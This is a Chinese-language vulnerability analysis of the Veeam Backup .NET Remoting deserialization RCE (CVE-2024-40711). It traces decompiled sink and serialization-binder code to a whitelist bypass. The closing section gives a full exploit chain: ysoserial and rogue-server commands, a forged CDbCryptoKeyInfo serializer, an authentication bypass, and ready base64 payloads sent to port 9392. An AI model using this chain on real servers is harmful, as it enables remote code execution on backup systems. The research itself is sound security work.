【.Net Remoting 系列三】Veeam Backup .Net Remoting RCE (CVE-2024-40711)

完整分析案例,首发于https://forum.butian.net/share/4000

https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html https://github.com/codewhitesec/RogueRemotingServer

按照之前的思路:

  1. 注册的Channel类型(全局搜ChannelServices#RegisterChannelInternal)
  2. sinkProviderChains
  3. TypeFilterLevel
  4. 注册的objecturi(全局搜RemotingConfiguration#RegisterWellKnownServiceType或RemotingServices#Marshal)
  5. 处理消息逻辑(IServerChannelSink#ProcessMessage的实现)

首先定位到Veeam.Common.Remoting.dll文件发现有TransportSink和FormatterSink相关的类,但是并没有自定义的ServerChannel,搜索ChannelServices#RegisterChannelInternal的调用找到注册ServerChannel的地方: 挨个看过去只有CSrvTcpChannelRegistration类注册了一个tcpServerChannel,具体调用代码如下:

csharp

private static TcpServerChannel RegisterChannel(Dictionary<string, string> channelProperties, IServerChannelSinkProvider sinkProvider, CConnectionInterceptor connectionInterceptor)
{
	TcpServerChannel tcpServerChannel = new TcpServerChannel(channelProperties, sinkProvider, connectionInterceptor);
	// 开启认证
	tcpServerChannel.IsSecured = true;
	ChannelServices.RegisterChannel(tcpServerChannel, true);
	CSrvTcpChannelRegistration.LogChannelData(tcpServerChannel);
	return tcpServerChannel;
}

注意这里TcpServerChannel传入的有第三个参数CConnectionInterceptor,这里放到后面再说,我们先梳理sinkProviderChains。 继续查找调用寻找sinkProvider定义的地方:

text

//其构造函数
private CSrvTcpChannelRegistration(string commonChannelName, int port, IReadOnlyDictionary<string, string> channelProperties, bool enableRemotingPerfLog, bool requireBasicPermission, [CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation, [CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider)
{
	this._commonChannelName = commonChannelName;
	this._port = port;
	//调用GetSinkProvider方法
	IServerChannelSinkProvider sinkProvider = CSrvTcpChannelRegistration.GetSinkProvider(enableRemotingPerfLog, requireBasicPermission, monitor, impersonation, accessCheckerProvider, mfaProvider);
	CConnectionInterceptor cconnectionInterceptor = new CConnectionInterceptor();
	if (Socket.OSSupportsIPv4)
	{
		TcpServerChannel tcpServerChannel = CSrvTcpChannelRegistration.RegisterChannel(CSrvTcpChannelRegistration.CreateIPv4BindingConfiguration(commonChannelName, channelProperties), sinkProvider, cconnectionInterceptor);
		this._channelIPv4Name = tcpServerChannel.ChannelName;
	}
	......
}

跟进GetSinkProvider方法

csharp

private static IServerChannelSinkProvider GetSinkProvider(bool enableRemotingPerfLog, bool requireBasicPermission, [CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation, [CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider)
{
	IServerChannelSinkProvider serverChannelSinkProvider = new CBinaryServerFormatterSinkProvider(enableRemotingPerfLog, requireBasicPermission, accessCheckerProvider, mfaProvider);
	if (monitor != null)
	{
		serverChannelSinkProvider = new CActivityMonitorServerSinkProvider(monitor, serverChannelSinkProvider);
	}
	if (impersonation != null)
	{
		serverChannelSinkProvider = new CImpersonationServerSinkProvider(impersonation, serverChannelSinkProvider);
	}
	return serverChannelSinkProvider;
}

这里使用的是CBinaryServerFormatterSink作为FormatterSink,TransportSink使用的默认TcpServerTransportSink,整个服务端的sinkProviderChains:TcpServerTransportSink → CBinaryServerFormatterSink → DispatchChannelSink 同时CBinaryServerFormatterSink中定义了TypeFilterLevel.Low

追溯到启动类发现监听的端口为9392,服务名为Veeam.Backup.Service.exe(tcp://IP:9392/VeeamClientUpdateService )。

最后找到对应的ProcessMessage方法梳理处理消息的逻辑,主要代码如下:

csharp

public ServerProcessing ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, out IMessage responseMsg, out ITransportHeaders responseHeaders, out Stream responseStream)
{
	ServerProcessing serverProcessing;
	using (LogRegistration.RegisterSafe(this._logStorage))
	{
		......
			string text = (string)requestHeaders["Content-Type"];
			string text2 = (string)requestHeaders["__RequestVerb"];
			......
			//部分省略
					requestMsg = CBinaryServerFormatterSink.DeserializeBinaryRequestMessage(requestStream, requestHeaders);
					if (requestMsg == null)
					{
						throw new RemotingException("Remoting Deserialize Error");
					}
					IMethodMessage methodMessage = requestMsg as IMethodMessage;
					if (methodMessage != null)
					{
						string text3 = requestHeaders["access_token"] as string;
						Dictionary<string, object> dictionary;
						EJwtValidationResult ejwtValidationResult = this._mfaProvider.ValidateToken(text3, out dictionary);
						if (ejwtValidationResult == EJwtValidationResult.Empty || ejwtValidationResult == EJwtValidationResult.Invalid)
						{
							this.EnsureMfa(requestHeaders);
						}
						this.EnsureAccessIsAllowed(methodMessage);
					}
					sinkStack.Push(this, null);
					ServerProcessing serverProcessing2 = this.CallNextSink(sinkStack, requestMsg, requestHeaders, null, out responseMsg, out responseHeaders, out responseStream);
					if (responseStream != null)
					{
						throw new RemotingException("Remoting_ChnlSink_WantNullResponseStream");
					}
					switch (serverProcessing2)
					{
					case ServerProcessing.Complete:
						if (responseMsg == null)
						{
							throw new RemotingException("Remoting_DispatchMessage");
						}
						sinkStack.Pop(this);
						this.AddSessionToken(requestHeaders, ref responseHeaders);
						CBinaryServerFormatterSink.SerializeResponse(sinkStack, responseMsg, ref responseHeaders, out responseStream);
						this.AdditionalyLogResponse(responseMsg);
					......
			}
		}
	}
	return serverProcessing;
}

调用DeserializeBinaryRequestMessage方法执行反序列化的操作,也是整个过程中最关键的,实现如下

csharp

//Veeam.Common.Remoting.CBinaryServerFormatterSink#DeserializeBinaryRequestMessage
private static IMessage DeserializeBinaryRequestMessage(Stream requestStream, ITransportHeaders requestHeaders)
{
	IMessage message;
	try
	{
		message = (IMessage)CBinaryServerFormatterSink.CreateFormatter(false).DeserializeMethodResponse(requestStream, new HeaderHandler(new CBinaryServerFormatterSink.UriHeaderHandler(requestHeaders).HeaderHandler), null);
	}
	finally
	{
		requestStream.Close();
	}
	return message;
}

//Veeam.Common.Remoting.CBinaryServerFormatterSink#CreateFormatter
private static BinaryFormatter CreateFormatter(bool serializingResponse)
{
	BinaryFormatter binaryFormatter = new BinaryFormatter();
	binaryFormatter.Binder = new RestrictedSerializationBinder(serializingResponse, RestrictedSerializationBinder.Modes.FilterByWhitelist);
	binaryFormatter.Context = new StreamingContext(StreamingContextStates.Other);
	binaryFormatter.FilterLevel = TypeFilterLevel.Low;
	binaryFormatter.AssemblyFormat = FormatterAssemblyStyle.Full;
	if (!serializingResponse)
	{
		binaryFormatter.SurrogateSelector = new CDataSerializationSurogate();
	}
	else
	{
		ISurrogateSelector surrogateSelector = new RemotingSurrogateSelector();
		surrogateSelector.ChainSelector(new CDataSerializationSurogate());
		binaryFormatter.SurrogateSelector = surrogateSelector;
	}
	return binaryFormatter;
}

这儿有两点需要注意:

  1. 定义了RestrictedSerializationBinder设置反序列化白名单或黑名单
  2. 定义了CDataSerializationSurogate作为formatter的序列化或反序列化处理

首先看RestrictedSerializationBinder是如何防御的,关注ResolveType方法和BindToType方法,如果仅仅使用CustomSerializationBinder是可以绕的,数据流:CustomSerializationBinder#BindToType-->RestrictedSerializationBinder#ResolveType-->RestrictedSerializationBinder#EnsureTypeIsAllowed关键代码如下:

csharp

// Veeam.Backup.Common.CustomSerializationBinder
	public class CustomSerializationBinder : SerializationBinder
	{
		public override Type BindToType(string assemblyName, string typeName)
		{
			return CustomSerializationBinder.TypeCache.GetOrAdd(new ValueTuple<string, string>(assemblyName, typeName), new Func<ValueTuple<string, string>, Type>(this.ResolveType));
		}

		protected virtual Type ResolveType([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
		{
			return SBinderHelper.ResolveType(key);
		}

// Veeam.Backup.Common.RestrictedSerializationBinder
	public sealed class RestrictedSerializationBinder : CustomSerializationBinder
	{
		public RestrictedSerializationBinder(bool serializingResponse, RestrictedSerializationBinder.Modes mode = RestrictedSerializationBinder.Modes.FilterByWhitelist)
		{
			this._serializingResponse = serializingResponse;
			this._mode = mode;
		}
		......
		protected override Type ResolveType([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
		{
			this.EnsureTypeIsAllowed(key);
			Type type = base.ResolveType(key);
			RestrictedSerializationBinder.CheckIsRestrictedType(type);
			return type;
		}

		private void EnsureTypeIsAllowed([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
		{
			if (!this._serializingResponse && SOptions.Instance.ShouldWhitelistingRemoting)
			{
				this.EnsuredBlackWhitelistsAreLoaded();
				string text = key.Item2 + ", " + key.Item1;
				if (this._mode == RestrictedSerializationBinder.Modes.FilterByWhitelist)
				{
					RestrictedSerializationBinder._allowedTypeFullnames.EnsureIsAllowed(text);
					return;
				}
				if (this._mode == RestrictedSerializationBinder.Modes.FilterByBlacklist)
				{
					RestrictedSerializationBinder._notAllowedTypeFullnames.EnsureIsAllowed(text);
				}
			}
		}

RestrictedSerializationBinder根据传入的mode参数决定使用白名单或黑名单模式,整个Remoting处理用的是白名单模式,这儿并不是先白名单后黑名单校验,而是二选一于是有了可乘之机。

一共五处调用最终找到一处调用使用的是黑名单模式

代码如下:

csharp

// Veeam.Backup.Core.CProxyBinaryFormatter#Deserialize
public static T Deserialize<T>(string input)
{
	T t;
	try
	{
		byte[] array = Convert.FromBase64String(input);
		BinaryFormatter binaryFormatter = new BinaryFormatter
		{
			Binder = new RestrictedSerializationBinder(false, RestrictedSerializationBinder.Modes.FilterByBlacklist)
		};
		t = CProxyBinaryFormatter.BinaryDeserializeObject<T>(array, binaryFormatter);
	}

妥妥的反序列化,老外通过对比补丁新增了一个ObjRef的链,该链子在反序列化的过程中只会反序列化System.Runtime.Remoting.ObjRefSystem.Exception,执行命令时不会触发其他黑名单。

可以将Veeam.Backup.Core.CProxyBinaryFormatter#Deserialize作为一个跳板,找到一处调用该方法并处于白名单中的类,就能实现RCE。刚好最后老外从白名单找到一个调用该方法的类

text

// Veeam.Backup.Model.CDbCryptoKeyInfo
private readonly List<CRepairRec> _repairRecs = new List<CRepairRec>();
protected CDbCryptoKeyInfo(SerializationInfo info, StreamingContext context)
{
	this.Id = (Guid)info.GetValue("Id", typeof(Guid));
	byte[] array = (byte[])info.GetValue("KeySetId", typeof(byte[]));
	this.KeySetId = new CKeySetId(array);
	this.KeyType = (EDbCryptoKeyType)((int)info.GetValue("KeyType", typeof(int)));
	this.EncryptedKeyValue = Convert.FromBase64String(info.GetString("DecryptedKeyValue"));
	this.Hint = info.GetString("Hint");
	this.ModificationDateUtc = info.GetDateTime("ModificationDateUtc").SpecifyDateTimeUtc();
	this.CryptoAlg = (ECryptoAlg)info.GetInt32("CryptoAlg");
	this._repairRecs = CProxyBinaryFormatter.Deserialize<CRepairRec>((string[])info.GetValue("RepairRecs", typeof(string[]))).ToList<CRepairRec>();
	this.Version = info.GetInt64("Version");
	this.BackupId = (Guid)info.GetValue("BackupId", typeof(Guid));
	this.IsImported = info.GetBoolean("IsImported");
}

总结下:

  1. 无需自定义Channel(TcpServerChannel)
  2. 开启了认证(CConnectionInterceptor)、low type filter
  3. 存在一个URI为tcp://IP:9392/VeeamClientUpdateService
  4. 整个利用链.Net Remoting –> CDbCryptoKeyInfo( 白名单 ) –> CProxyBinaryFormatter.Deserialize ( 黑名单objref )–> RCE

需要用到ExploitRemotingService,有点小改动我编译之后放到这儿了。这儿的改动其实就是绕过其认证的,将用户密码置空就能绕过,CConnectionInterceptor类实际上未处理只是返回true。 然后构造ObjRef

text

ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c calc > exploit.soapformatter

RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0:2345/aaa exploit.soapformatter

ysoserial.exe -g ObjRef -f BinaryFormatter -c http://10.106.24.105:2345/aaa

// 最终生成AAEAAAD/////AQAAAAAAAAAEAQAAABBTeXN0ZW0uRXhjZXB0aW9uAQAAAAlDbGFzc05hbWUDHlN5c3RlbS5SdW50aW1lLlJlbW90aW5nLk9ialJlZgkCAAAABAIAAAAeU3lzdGVtLlJ1bnRpbWUuUmVtb3RpbmcuT2JqUmVmAQAAAAN1cmwBBgMAAAAdaHR0cDovLzEwLjEwNi4yNC4xMDU6MjM0NS9hYWEL

重定义CDbCryptoKeyInfo序列化过程,传入上面生成的poc序列化:

csharp

[Serializable]  
public class CDbCryptoKeyInfoWrapper : ISerializable  
{  
    private string[] _fakeList;  
  
    public CDbCryptoKeyInfoWrapper(string[] _fakeList)  
    {  
        this._fakeList = _fakeList;  
    }  
  
    public void GetObjectData(SerializationInfo info, StreamingContext context)  
    {  
        info.SetType(typeof(CDbCryptoKeyInfo));  
        info.AddValue("Id", Guid.NewGuid());  
        info.AddValue("KeySetId", null);  
        info.AddValue("KeyType", 1);  
        info.AddValue("Hint", "aaaaa");  
        info.AddValue("DecryptedKeyValue", "AAAA");  
        info.AddValue("LocaleLCID", 0x409);  
        info.AddValue("ModificationDateUtc", new DateTime());  
        info.AddValue("CryptoAlg", 1);  
        info.AddValue("RepairRecs", _fakeList);  
    }  
}

传入生成的CDbCryptoKeyInfo序列化数据,再通过ExploitRemotingService发送POC

text

ExploitRemotingService.exe -s tcp://192.168.45.144:9392/VeeamClientUpdateService raw AAEAAAD/////AQAAAAAAAAAMAgAAAFZWZWVhbS5CYWNrdXAuTW9kZWwsIFZlcnNpb249MTIuMS4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YmZkNjg0ZGUyMjc2NzgzYQUBAAAAI1ZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcnlwdG9LZXlJbmZvCQAAAAJJZAhLZXlTZXRJZAdLZXlUeXBlBEhpbnQRRGVjcnlwdGVkS2V5VmFsdWUKTG9jYWxlTENJRBNNb2RpZmljYXRpb25EYXRlVXRjCUNyeXB0b0FsZwpSZXBhaXJSZWNzAwIAAQEAAAAGC1N5c3RlbS5HdWlkCAgNCAIAAAAE/f///wtTeXN0ZW0uR3VpZAsAAAACX2ECX2ICX2MCX2QCX2UCX2YCX2cCX2gCX2kCX2oCX2sAAAAAAAAAAAAAAAgHBwICAgICAgIC1f56MNPo3kO39y2SXeUREAoBAAAABgQAAAAFYWFhYWEGBQAAAARBQUFBCQQAAAAAAAAAAAAAAQAAAAkGAAAAEQYAAAABAAAABgcAAADkAUFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBQkJUZVhOMFpXMHVSWGhqWlhCMGFXOXVBUUFBQUFsRGJHRnpjMDVoYldVREhsTjVjM1JsYlM1U2RXNTBhVzFsTGxKbGJXOTBhVzVuTGs5aWFsSmxaZ2tDQUFBQUJBSUFBQUFlVTNsemRHVnRMbEoxYm5ScGJXVXVVbVZ0YjNScGJtY3VUMkpxVW1WbUFRQUFBQU4xY213QkJnTUFBQUFkYUhSMGNEb3ZMekV3TGpFd05pNHlOQzR4TURVNk1qTTBOUzloWVdFTAs=

TypeFilterLevel.Low时,可以尝试反序列化其他符合条件的对象进而触发一些恶意方法实现RCE。

https://github.com/codewhitesec/RogueRemotingServer https://github.com/tyranid/ExploitRemotingService https://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/